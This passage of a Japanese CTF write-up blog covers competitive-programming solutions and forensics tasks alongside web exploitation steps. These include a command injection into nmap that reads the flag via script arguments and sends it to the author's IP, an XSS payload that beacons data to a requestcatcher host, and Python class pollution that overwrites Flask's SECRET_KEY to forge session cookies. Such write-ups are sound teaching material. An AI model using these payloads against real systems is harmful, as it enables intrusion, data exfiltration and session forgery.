nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";

openssl_private_decrypt($first_half, $decrypted, $pvk1);
echo $decrypted;

これで通信を復号化していくと、tcp.stream eq 110の入力にフラグが含まれていた。
echo 'SEKAI{h4rd_2_d3t3ct_w3bsh3ll}'

[PPC] Purple Sheep And The Apple Rush

N頂点の無向木が与えられる。
頂点毎にパラメタL[i]が与えられるが、葉かそうでないかで意味合いが異なる。
葉であれば、L[i]は隠された金のリンゴの数を指し、最初に訪れた時点でその金のリンゴをすべて得ることができる
葉でなければ、金のリンゴ1個で、その町の「通行券」が帰る。その通行券にはL[i]の数が書かれていて、葉でない町を訪れるたびにL[i]個の金のリンゴを支払う必要がある。
なお、この「通行券」は金のリンゴ1個で買い替えることが可能。
各町について、その町を始点として任意の葉まで遷移可能な町を任意回数移動したときの「支払ったリンゴ - 得たリンゴ」の最小値をそれぞれ答えよ。
移動のパスの途中で葉は選択できず、パスの最後のみ葉が許される。
(このルールだと、葉が始点であれば通行券は買えないので、移動できず金のリンゴを回収して終了となる)

dp[cu] := 町cuからスタートしたとしたときの「支払ったリンゴ - 得たリンゴ」の最小値

まずは、葉についてすべて更新しておく。
dp[cu] = -L[cu]
戦略を考えると使えそうな性質が出てくる。
通行券を取り替えるというのが戦略の1つになってくるが、通行券を取り換える選択をするのは、「書かれている値が小さい通行券の場合のみ」である。
書かれている値が同じ、もしくは、大きい通行券に変更するメリットが見当たらない。
なので、町cuで通行券を買った場合に、取りうる選択肢としては、葉に向かうか、通行券に書かれている値のより小さい町toに向かって通行券を買い替えるかの二択になる。
これを使うと、dpが更新可能。

dp[cu] = min{to:= 町cuよりも通行券に書かれている値が小さい町to}{1LL + (町cuと町toの距離) * L[cu] + dp[to]}

町toで通行券を買い替えた後の最適な動きは町toからスタートした状況と全く同じであるため、それ以降の計算が既に実施されていればdpによってメモ化された結果を再利用することができる。
葉のdp計算を実施した後の頂点はL[i]が小さい順に行えば、全ての計算結果がメモ化されていることになり、dpとして適切に計算ができる。
…ということが言いたいのが上の式。

(町cuと町toの距離)の部分を高速に計算できるように前計算しておく必要がある。
自分はHL分解のライブラリにその機能があるので流用したが、LCAとダブリングでやってもいいし、
今回はO(N2)が通りそうなので、事前に幅優先探索しても間に合う気もする。(未確認)

あと、自分の実装では正確には「to:= 町cuよりも通行券に書かれている値が小さいか同じ町to」
という感じの実装になっていて少し効率が悪いが、最終結果には影響がない。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
struct HLDecomposition {
    vector<set<int>> g; vector<int> vid, head, heavy, parent, depth, inv, in, out;
    HLDecomposition() {} HLDecomposition(int n) { init(n); }
    void init(int n) {
        g.resize(n); vid.resize(n, -1); head.resize(n); heavy.resize(n, -1);
        parent.resize(n); depth.resize(n); inv.resize(n); in.resize(n); out.resize(n);
    }
    void add(int u, int v) { g[u].insert(v); g[v].insert(u); } void build() { dfs(0, -1); t = 0; dfs_hld(); }

    int dfs(int curr, int prev) {
        parent[curr] = prev; int sub = 1, max_sub = 0;
        heavy[curr] = -1;
        for (int next : g[curr]) if (next != prev) {
            depth[next] = depth[curr] + 1;
            int sub_next = dfs(next, curr); sub += sub_next;
            if (max_sub < sub_next) max_sub = sub_next, heavy[curr] = next;
        }return sub;
    }

    int t = 0;
    void dfs_hld(int v = 0)
    {
        vid[v] = in[v] = t;
        t++;
        inv[in[v]] = v;
        if (0 <= heavy[v]) {
            head[heavy[v]] = head[v];
            dfs_hld(heavy[v]);
        }
        for (auto u : g[v]) if(depth[v] < depth[u])  if (u != heavy[v]) {
            head[u] = u;
            dfs_hld(u);
        }
        out[v] = t;
    }


    void foreach(int u, int v, function<void(int, int)> f) { // [x,y]
        if (vid[u] > vid[v]) swap(u, v); f(max(vid[head[v]], vid[u]), vid[v]);
        if (head[u] != head[v]) foreach(u, parent[head[v]], f);
    }
    int ancestor(int from, int times) {
        while (true) {
            if (depth[head[from]] > depth[from] - times) {
                times -= depth[from] - depth[head[from]] + 1; if (head[from] == 0)return -1; from = parent[head[from]];
            }
            else return inv[vid[from] - times];
        }
    }
    int lca(int u, int v) {
        if (vid[u] > vid[v]) swap(u, v); if (head[u] == head[v]) return u;
        return lca(u, parent[head[v]]);
    }
    int distance(int u, int v) { return depth[u] + depth[v] - 2 * depth[lca(u, v)]; }
    int child(int parent, int child, int times) {
        assert(depth[parent]<depth[child]);
        int d = distance(parent, child); assert(times - 1 <= d); return ancestor(child, d - times);
    }
    int go(int from, int to, int times) {
        int d = distance(from, to); assert(0 <= times and times <= d);
        int lc = lca(from, to); if (lc == to)return ancestor(from, times); if (lc == from)return child(from, to, times);
        int dd = distance(from, lc); if (dd <= times)return go(lc, to, times - dd); return ancestor(from, times);
    }
};
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/






int N;
ll L[4010];
ll dp[4010];
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> L[i];

    HLDecomposition hld(N);
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        hld.add(a, b);
    }
    hld.build();

    vector<int> done;
    vector<pair<ll,int>> order;
    rep(i, 0, N) {
        if(hld.g[i].size() == 1) {
            done.push_back(i);
            dp[i] = -L[i];
        } else {
            order.push_back(make_pair(L[i], i));
        }
    }
    sort(all(order));
    fore(p, order) {
        ll l = p.first;
        int cu = p.second;

        dp[cu] = infl;
        fore(to, done) chmin(dp[cu], 1LL + hld.distance(cu, to) * L[cu] + dp[to]);
        done.push_back(cu);
    }
    rep(i, 0, N) {
        if(i) printf(" ");
        printf("%lld", dp[i]);
    }
    printf("\n");
}

[PPC] Wiki Game

有向グラフが与えられて始点となる頂点から終点となる頂点へ6回以下の遷移で移動可能ならYESで、そうでないならNOと答える。
幅優先探索で、最短距離を特定可能。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/

int n, m;
vector<int> E[1010];
int src, dst;

int minimum[1010];

#define YES "YES"
#define NO "NO"
string solve() {
    cin >> n >> m;
    rep(i, 0, n) E[i].clear();
    rep(i, 0, m) {
        int u, v; cin >> u >> v;
        E[u].push_back(v);
    }
    cin >> src >> dst;

    rep(i, 0, n) minimum[i] = inf;

    queue<int> que;
    que.push(src);
    minimum[src] = 0;
    while(!que.empty()) {
        int cu = que.front();
        que.pop();

        fore(to, E[cu]) if(minimum[to] == inf) {
            minimum[to] = minimum[cu] + 1;
            que.push(to);
        }
    }

    return minimum[dst] <= 6 ? YES : NO;
}

void _main() {
    int T; cin >> T;
    rep(t, 0, T) cout << solve() << endl;
}

[Web] Scanner Service

以下の部分が攻撃対象のメインの処理。

  post '/' do
    input_service = escape_shell_input(params[:service])
    hostname, port = input_service.split ':', 2
    begin
      if valid_ip? hostname and valid_port? port
        # Service up?
        s = TCPSocket.new(hostname, port.to_i)
        s.close
        # Assuming valid ip and port, this should be fine
        @scan_result = IO.popen("nmap -p #{port} #{hostname}").read
      else
        @scan_result = "Invalid input detected, aborting scan!"
      end
    rescue Errno::ECONNREFUSED
      @scan_result = "Connection refused on #{hostname}:#{port}"
    rescue => e
      @scan_result = e.message
    end

    erb :'index'
  end

POST /で入力したhostnameとportがpopenに埋め込まれて実行される。
コマンドインジェクションをする問題。
以下のような制約が付いている。

nmapのオプションに色々差し込んでやるんだろうと想像して、RCEとLFIの両方の方向性で考える。
フラグが以下のように、RCEしないといけないようにランダム列がくっついているが、
シェルの補完機能が使えそうな場面では/flag-????????????????????????????????.txtとすればいい。

RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt

まず、色々実験するとタブが空白の代わりに機能することが分かる。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-without-space

これで空白が実質使えるようになったので自由にnmapのオプションを差し込むことができるようになった。
それをもとにいろいろやると、配布されたDockerfileを使って起動した手元の環境では以下のようにするとフラグが得られた。

  1. nmap -i /flag-????????????????????????????????.txt -oN /app/public/stylesheets/flagを動かす感じで以下のように差し込む。
    -iでファイルを読み込むが失敗して出力に出てくるがその先が標準エラー出力で読めないので、-oNでpublicな所に吐き出している
POST / HTTP/1.1
Host: localhost:4444
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09-i%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09-oN%09%2fapp%2fpublic%2fstylesheets%2fflag%09%23
  1. GET /stylesheets/flagでフラグが得られる

が、本番でやってみると動かない…
書き込み先に制限がかかっている雰囲気がある。

しょうがないので、別の経路を探すかーとやっているとNSEが思いついた。
nmapでプラグイン的にスクリプトを動かす機能。
パスワードの総当たり攻撃ができたりするので、その辞書に該当ファイルを渡せば外部にそれを移せるのでは?という作戦。

nmap -p 80 --script http-brute --script-args passdb=/flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

こんな感じにするとフラグが得られたが、この方法だと、/flag-????????????????????????????????.txtが使えない。
うーーーーんと思ってやけくそに以下のようにやってみると、標準出力にフラグが出てきた。

nmap -p 80 --script http-brute --script-args-file /flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

おっ、と思い本番で以下を実行するとフラグ獲得できた。

POST / HTTP/1.1
Host: [REDACTED]:[REDACTED]
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09--script%09http-brute%09--script-args-file%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09%23

フラグの中身を見るとRCEできる想定解があるっぽい。
開始してから半日立っていないのに50 solves以上あったので、もっと直接的な(シンプルな)RCEの方法があるんだろうと思っていたが…
これはコンテスト後の楽しみとしておこう。

CYBERGON CTF 2023 Writeups

[stegano] Warm Up 1

exiftoolの情報から得られるCreate Dateを答える。

$ exiftool IMG_6380.HEIC 
...
Create Date                     : 2023:07:31 10:14:57.296+07:00

[stegano] Catch Me If You Can

拡張子がgifだが開けないファイルが与えられる。
ちゃんと開けるgifファイルとバイナリエディタで見比べてみる。

$ hd Stegano1.gif | head
00000000  39 61 f4 01 f4 01 f7 00  00 03 03 03 7f 81 80 92  |9a..............|
00000010  94 93 94 d1 ec 2f c1 ed  5b ba e2 cb cd cd 5e cb  |...../..[.....^.|
00000020  f3 ca e9 f5 43 b9 e6 97  e5 f3 ea ed ec 3d 40 40  |....C........=@@|
00000030  c6 ca c9 7e cf e2 43 c8  e5 7a c5 e4 ca f4 fa 5b  |...~..C..z.....[|
00000040  c1 e2 93 db ee ef f5 f2  43 be e4 7d db e9 b3 e7  |........C..}....|
00000050  f8 6b c2 e6 df e3 e2 5e  60 60 1e 21 21 a2 de f3  |.k.....^``.!!...|
00000060  37 bb f2 fc f6 e7 ad af  af 8c d0 eb b5 f1 f9 37  |7..............7|
00000070  c1 e3 53 c2 e5 6b ce e2  5a c4 f0 51 b9 e2 7b d1  |..S..k..Z..Q..{.|
00000080  f5 45 cf f2 2f 31 31 dc  f7 fa ec fd ee 6f 71 71  |.E../11......oqq|
00000090  d6 da d9 ce ef f7 97 e0  f3 c4 e9 f6 da f1 f5 4e  |...............N|

$ hd sachiko.gif | head
00000000  47 49 46 38 39 61 0e 01  40 01 f7 00 00 0c 0c 14  |GIF89a..@.......|
00000010  18 18 28 1f 20 31 29 29  37 2c 2c 3b 24 24 35 33  |..(. 1))7,,;$$53|
00000020  2d 3b 31 2a 32 27 1d 25  45 33 3b 47 32 38 26 29  |-;1*2'.%E3;G28&)|
00000030  48 2c 32 43 33 32 42 3a  36 45 32 3b 46 3d 39 47  |H,2C32B:6E2;F=9G|
00000040  3c 3b 49 36 39 4b 2a 2b  57 31 2c 59 31 2a 57 29  |<;I69K*+W1,Y1*W)|
00000050  31 56 32 32 56 33 32 5a  3a 37 59 31 2f 41 2b 29  |1V22V32Z:7Y1/A+)|
00000060  65 2d 29 6a 31 2a 66 32  29 6a 3c 2d 69 36 34 64  |e-)j1*f2)j<-i64d|
00000070  3b 36 64 39 38 6e 3b 37  68 31 28 76 32 28 79 3b  |;6d98n;7h1(v2(y;|
00000080  36 72 2c 2a 6f 1e 1d 4c  43 3a 47 49 3c 4f 43 3a  |6r,*o..LC:GI<OC:|
00000090  66 4b 36 6b 48 37 78 52  37 7a 53 38 79 46 2b 72  |fK6kH7xR7zS8yF+r|

先頭4bytesが欠けている気がする。

$ echo -en '\x47\x49\x46\x38' > magic
$ cat magic Stegano1.gif > fixed.gif

こんな感じで修復すると開けてフラグが書いてある。

[IR] Basic系

ディスクイメージが与えられて問いに答えていく問題群。
FTK Imagerで開きながら答えていく。
とりあえず、以下を抽出しておく。

  • レジストリ C:\Windows\system32\config
  • イベントログ C:\Windows\system32\winevt
    • 何で見るか迷ったが、とりあえず純正のイベントビューワーで見ていく
    • 細かい解析が必要な時はEvtxECmdでcsvにして解析

以下問題。

  • Basic - 1
    • the timezone name and hostname
    • Flag Format - CyberGonCTF{Timezone Name_Hostname}
    • timezone -> レジストリ SYSTEM\ControlSet001\Control\TimeZoneInformation -> SE Asia Standard Time
    • hostname -> レジストリ SYSTEM\ControlSet001\Control\ComputerName\ComputerName -> CYBERGON-CTF
  • Basic - 2
    • the previous second hostname and timeline of changing from second hostname to third hostname
    • Flag Format - CyberGonCTF{DD/MM/YEAR hh:mm:ss AM/PM, Second Hostname} (Note: To adjust the timeline with host timezone)
    • ホスト名は変更されていたようだ。変更履歴はイベントログに残っていそうではある。
    • System.evtxのイベントログID 6011を見るとホスト名の変更を追跡可能。確かに2回変更履歴がある。
      • WIN-OS9LHVGJOHH から DESKTOP-1INR457 に変更 2023/07/17 17:27:45 (JST)
      • DESKTOP-1INR457 から CYBERGON-CTF に変更 2023/07/22 18:46:34 (JST)
        • これが目的のイベント
    • 時間の変更
      • JSTUTC+9で、SE Asia Standard TimeはUTC+7なので2時間引いてやればいい
    • 答え CyberGonCTF{22/07/2023 04:46:34 PM, DESKTOP-1INR457}
  • Basic - 3 解けず
    • which user has logged in the most, the total login count and last incorrect password time of that user
    • Flag Format - CyberGonCTF{numberonly_year-mm-dd hh:mm:ss} Note: to adjust the time with host timezone
    • Security.evtxにログイン成否が4624と4625で記録されているので確認する
    • システムのユーザーを消していくと、CyberGon-Adminというユーザーのログが一番多く記録されているが…色々試しても正答できなかった

[forensics] Device Info系

E01ファイルでディスクイメージが与えられるので、問いに答えていく問題群。

  • Device Info (ep1)
    • Flag Format : CyberGonCTF{osname 00.00.0 XXX} eg. CyberGonCTF{Windows 11.22.1 ABC}
    • the operating system information -> /usr/lib/os-release -> Ubuntu 20.04.5 LTS
  • Device Info (ep2)
    • Flag Format: CyberGonCTF{xxx.xxx.xxx.xxx_hostname}
    • device ip
      • \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}grepしながら探した
      • /var/log/kern.log -> 192.168.1.72
    • hostname -> /etc/hostname -> ubuntu
  • Device Info (ep3)
    • Flag Format: CyberGonCTF{ssid_password}
    • the first connected WiFi (SSID) and password -> /etc/netplan/50-cloud-init.yaml
      • SSID: Ko_Koe_Lo_Ko_Ko
      • password: Ah_Nge_Chaw_Yal_Tae_Inn_Tae
  • Device Info (ep4)
    • Flag Format: CyberGonCTF{Full Information} #included Device Name, Series Number, Model, Version example flag - CyberGonCTF{ThinkPad X1 Carbon Gen 11}
    • the device model details of this host -> /var/log/dmesg -> Raspberry Pi 3 Model B Rev 1.2
  • Attacker IP (ep5)
    • Flag Format: CyberGonCTF{xxx.xxx.xxx.xxx}
    • the ip address of Attacker
      • /var/log/auth.logを見るとJul 15 14:20:35 ubuntu sshd[1093]: Failed password for ubuntu from 192.168.1.67 port 44008 ssh2のようにssh経由での失敗ログが多数残っていた -> 192.168.1.67
  • Success Logon (ep6)
    • Flag Format: CyberGonCTF{total failed numbers_Mon dd hh:mm:ss} eg. CyberGonCTF{10_Jan 01 01:01:01}
    • the total number of failed logon from attacker and When attacker got the success
      • 引き続き/var/log/auth.logを見る
      • Failed password forで検索すると652件ヒット
      • Jul 15 16:55:26 ubuntu sshd[1984]: Accepted password for ubuntu from 192.168.1.67 port 54296 ssh2Jul 15 16:55:26が答えだった
  • New User (ep7) 解けず
    • Flag Format: CyberGonCTF{username, password} password hint- husband name (included two capital letters) +4 digits
    • attacker added the new user for Persistence. Can you find the username and password
      • /home/ubuntu/.bash_historyadduser shwehmoneyatiとされている
      • /etc/shadow shwehmoneyati:$6$8Da3ntmDvkfqYTP6$V3XYeRQdVVfDvQD157uLpoDFP8lFI5We3qmWpO0Zr.Enrg1ZcLVUdU9lJ0a1VPsUg1iL8FowgLAgWXczUgQ28.:19553:0:99999:7:::
      • /etc/passwd shwehmoneyati:x:1005:1005:Shwe Hmone Yati,105,09450062226,:/home/shwehmoneyati:/bin/bash
    • 辞書を作ってshadowのハッシュをクラックするんだろうが…husband name?

[forensics] Hide and Seek

とりあえずoleidで解析してみるが、特筆すべきものはなし。
zipにして解凍して、中を眺める。

word/header1.xmlに妙なものがある。

++++++++++[&gt;+&gt;+++&gt;+++++++&gt;++++++++++&lt;&lt;&lt;&lt;-]&gt;&gt;&gt;---.&gt;+++++++++++++++++++++.-----------------------.+++.+++++++++++++.&lt;++++.&gt;---.-.&lt;----.+++++++++++++++++.--------------.&gt;+++++++++++++.&lt;-----------------.--.&gt;------------------------.-----------------.&lt;.++++.&gt;+++++++++++++.&lt;+++++++++++++.----------------.+++.---.&gt;.&lt;---.&gt;+++++++++++++++.---------------.&lt;+++++++++++++++++++++++.&lt;+++++++++++++++++++++.+.&gt;&gt;+++++.&lt;&lt;-.&gt;++++++++++.&gt;+++++++++++++++++++++++++.

無茶苦茶見たことがあるが、思い出せない…なんだっけ…
と思いgoogle検索にそのまま突っ込むとbrainfuckだった。
https://www.dcode.fr/brainfuck-language
ここで実行するとフラグが出てくる。

[forensics] Frozen Xip

謎の開けない拡張子PNGのファイルが与えられる。
開けないのでとりあえずバイナリで眺める。

$ hd xipper.PNG
00000000  50 4b 04 03 14 00 00 00  08 00 1b 18 ec 56 46 cc  |PK...........VF.|
00000010  51 d1 da 00 00 00 31 02  00 00 14 00 00 00 66 6c  |Q.....1.......fl|
00000020  61 67 2e 74 78 74 6d 50  cb 6e c2 30 10 3c af bf  |ag.txtmP.n.0.<..|
00000030  62 d4 33 82 6f 28 52 2b  71 05 24 ce 46 d9 42 44  |b.3.o(R+q.$.F.BD|
00000040  f0 46 b6 09 ca 8d 8f e8  b1 5f 97 2f 69 42 6c ec  |.F......._./iBl.|
00000050  00 3e ec 78 66 67 c7 8f  ed 91 71 15 29 1c b4 65  |.>.xfg....q.)..e|
00000060  54 d2 70 d5 ce 50 68 7b  82 36 05 0a e6 1a 0b 2c  |T.p..Ph{.6.....,|
00000070  2f 1e 2b 1c 75 c3 a8 ad  9c 4b c7 0e 5e 70 1a bb  |/.+.u....K..^p..|
00000080  9f bd f1 5c 56 a3 76 10  ec f9 47 fa b0 15 5c d5  |...\V.v...G...\.|
00000090  1b e6 aa bb fd 62 2d 7b  b6 1e df 56 9c 9f a1 bb  |.....b-{...V....|
000000a0  fd 6d bc d4 75 69 0e 58  b6 d8 dd 2f 20 06 1a 1b  |.m..ui.X.../ ...|
000000b0  23 d7 16 5f 0d 9b be f7  41 18 16 41 21 6c 88 46  |#.._....A..A!l.F|
000000c0  0c 85 a2 8e 87 33 f4 02  64 24 d1 14 4a 49 cb 3c  |.....3..d$..JI.<|
000000d0  34 a5 18 9c 99 8d 22 a3  84 f4 64 7d 4e 98 90 74  |4....."...d}N..t|
000000e0  4a 94 d4 cb 4b de c3 38  98 a8 ca c4 2c 2e 96 3b  |J...K..8....,..;|
000000f0  4e be 26 cf 89 83 8f 12  fa 2a 90 a9 37 be ef 1f  |N.&......*..7...|
00000100  50 4b 01 02 1f 00 14 00  00 00 08 00 1b 18 ec 56  |PK.............V|
00000110  46 cc 51 d1 da 00 00 00  31 02 00 00 08 00 24 00  |F.Q.....1.....$.|
00000120  00 00 00 00 00 00 20 00  00 00 00 00 00 00 66 6c  |...... .......fl|
00000130  61 67 2e 74 78 74 0a 00  20 00 00 00 00 00 01 00  |ag.txt.. .......|
00000140  18 00 03 16 8b 66 32 b4  d9 01 bc e1 a2 78 31 b4  |.....f2......x1.|
00000150  d9 01 d1 3d 59 69 31 b4  d9 01 50 4b 05 06 00 00  |...=Yi1...PK....|
00000160  00 00 01 00 01 00 5a 00  00 00 00 01 00 00 00 00  |......Z.........|
00000170

flag.txtという名前が見える。pngファイルというよりzipファイルのようだ。
TSXBINで正規のzipファイルと比較しながら修復していく。
正規のzipでは先頭4bytesは50 4b 03 04なので、それをまず直す。
これで解凍してみるとファイル名がなんか変な感じになる。
0x1Aから2bytesでファイル名の長さが格納されるが、0x0014となっている。
flag.txtだと思われるので、0x0008に直すと正しく解凍できるようになる。

タブと空白がたくさん書かれたファイル。
stegsnowで解読可能。

$ stegsnow -C flag.txt
CyberGonCTF{Z1pp3R_4nD_573G5n0W}

[forensics] 8cel

zipファイルが与えられる。
解凍するとofficeファイルっぽい見た目をしているので、oleidを使ってみる。

$ oleid 8cel.zip 
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: 8cel.zip
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description
--------------------+--------------------+----------+--------------------------
File format         |MS Excel 2007+      |info      |
                    |Workbook (.xlsx)    |          |
--------------------+--------------------+----------+--------------------------
...

xlsxファイルだった。
/xl/worksheets/sheet2.xmlを見ると、なんか色々書いてある。

<row r="2" spans="2:8" x14ac:dyDescent="0.25">
    <c r="B2" t="e" cm="1"><f t="array" aca="1" ref="B2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7ZjRrM19GMTRnfQ==")</f><v>#NAME?</v></c>
    <c r="C2" t="e" cm="1"><f t="array" aca="1" ref="C2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRnfQ==")</f><v>#NAME?</v></c>
    <c r="D2" t="e" cm="1"><f t="array" aca="1" ref="D2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRHR30=")</f><v>#NAME?</v></c>
    <c r="E2" t="e" cm="1"><f t="array" aca="1" ref="E2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRHfQ==")</f><v>#NAME?</v></c>
    <c r="F2" t="e" cm="1"><f t="array" aca="1" ref="F2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7ZjRLM19GMTRnfQ==")</f><v>#NAME?</v></c>
    <c r="G2" t="e" cm="1"><f t="array" aca="1" ref="G2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7ZjRLM19GMTRHfQ==")</f><v>#NAME?</v></c>
    <c r="H2" t="e" cm="1"><f t="array" aca="1" ref="H2" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7RjRrM19GMTRHR30=")</f><v>#NAME?</v></c>
</row>

こういう感じに各セルにbase64の文字列が書かれている。
何パターンかあるが、そこから目立つものを持ってきてbase64デコードするとフラグ。

<c r="E14" t="e" cm="1"><f t="array" aca="1" ref="E14" ca="1">EMBED("Package", "Q3liZXJHb25DVEZ7eTB1X0cwN183aDNfNTNjUjM3XzFOZjB9")</f><v>#NAME?</v></c>

Bauhinia CTF 2023 Writeups

[web] Carpe Diem

以下のような自由にXSSできるサイトが与えられる。

<html>
<head>
    <title>Carpe Diem</title>
</head>
<body onload="convert()" onhashchange="convert()">
    <h1>Carpe Diem</h1>
    <textarea id="i" onchange="location.hash=btoa(i.value)" style="width:400;height:300"></textarea>
    <iframe id="o" style="width:400;height:300"></iframe>
    <script>
        convert = () => {
            i.value = atob(location.hash.slice(1));
            o.srcdoc = i.value;
        }
    </script>
</body>
</html>

重要なのはBOTの部分。

const page = await browser.newPage();

const idx = Math.floor(Math.random() * flag_content.length);
const k = flag_content.charCodeAt(idx) - 65 + 1;

for (let i = 0; i < k; i++) {
    await page.goto(`http://localhost:${PORT}/${crypto.randomBytes(20).toString("hex")}`, {waitUntil: "networkidle0"});
}

await page.goto(url+`?z=${idx}`, {waitUntil: "networkidle2"});

フラグのz番目の文字に対し、Aから何番目かを計算して、その数の分だけページを開く挙動をする。
https://developer.mozilla.org/ja/docs/Web/API/History/length
これが使える。

<script>
navigator.sendBeacon('https://asdfsadfsadf.requestcatcher.com/history' + history.length, '');
</script>

こういうのを踏ませてやれば、ページの履歴数が分かり、何回ページを開いたかを特定可能。
GETパラメタのzも普通に取得可能なので、zと履歴の数をペアで取得可能。
つまり、以下を踏ませてやる。

<script>
    let url = new URL(window.location.href);
    let params = url.searchParams;
    
    navigator.sendBeacon('https://[yours].requestcatcher.com/z' + params.get('z'), '');

    window.location.href = 'http://localhost:12345/#PHNjcmlwdD4KbmF2aWdhdG9yLnNlbmRCZWFjb24oJ2h0dHBzOi8vYXNkZnNhZGZzYWRmLnJlcXVlc3RjYXRjaGVyLmNvbS9oaXN0b3J5JyArIGhpc3RvcnkubGVuZ3RoLCAnJyk7Cjwvc2NyaXB0Pg==';
</script>

あとは根性で送りまくって、全部集める。

POST /z0    21
POST /z1    7
POST /z2    11
POST /z3    28
POST /z4    7
POST /z5    27
POST /z6    17
POST /z7    23
POST /z8    20
POST /z9    6
POST /z10   3
POST /z11   27

これをまとめて適当に整形するとフラグになる。

https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)ADD(%7B'option':'Decimal','string':'62'%7D)&input=MjEgNyAxMSAyOCA3IDI3IDE3IDIzIDIwIDYgMyAyNw

[web] Hansel and Gretel

@app.route("/flag")
def flag():
    if session.get("user") != "witch":
        return render_template("template.html", status=403, message="You are not the witch.")
    return render_template("template.html", status=200, message=os.environ["FLAG"])

このようにsessionのuserがwitchになればいいが、代入できる部分はない。
脆弱点を探すとこのような箇所がある。

def set_(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                set_(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            set_(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

こういう処理を見るとPrototype Pollutionを疑う体になってしまっているので、
そういう視点で考えると、実際にPrototype Pollutionっぽいことが可能。

解法としては、
https://blog.abdulrah33m.com/prototype-pollution-in-python/
これのThere is Moreにある

Overwriting Flask web app secret key that’s used for session signing.

をやる。
色々実験して、Boardクラスのインスタンス(self)からapp.configまで頑張って辿りつくと以下のような感じになる。

POST /save_bulletins HTTP/1.1
Host: chall-us.pwnable.hk:30009
Connection: close
Content-Type: application/json
Content-Length: 311

{
    "new_content": [{ "text":"","title":"" }],
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "4b57fui6b4mu5v8q34co5us234jiok"
                }
            }
        }
    }
}

new_content部分はバリデータを回避するために入れていて、
4b57fui6b4mu5v8q34co5us234jiokは適当に作った秘密鍵なので何でもいい。
これで秘密鍵を強制させられるので、以下のようにcookieを偽装。

$ flask-unsign --sign --secret 4b57fui6b4mu5v8q34co5us234jiok --cookie "{'user': 'witch'}"
eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0

これを使えばフラグがもらえる。

GET /flag HTTP/1.1
Host: chall-us.pwnable.hk:30009
Connection: close
Cookie: session=eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0

防衛省サイバーコンテスト2023 Writeups

[crypto] Simple Substitution Cipher

synt{tA0iEFckNRiG}

これを復号問題。
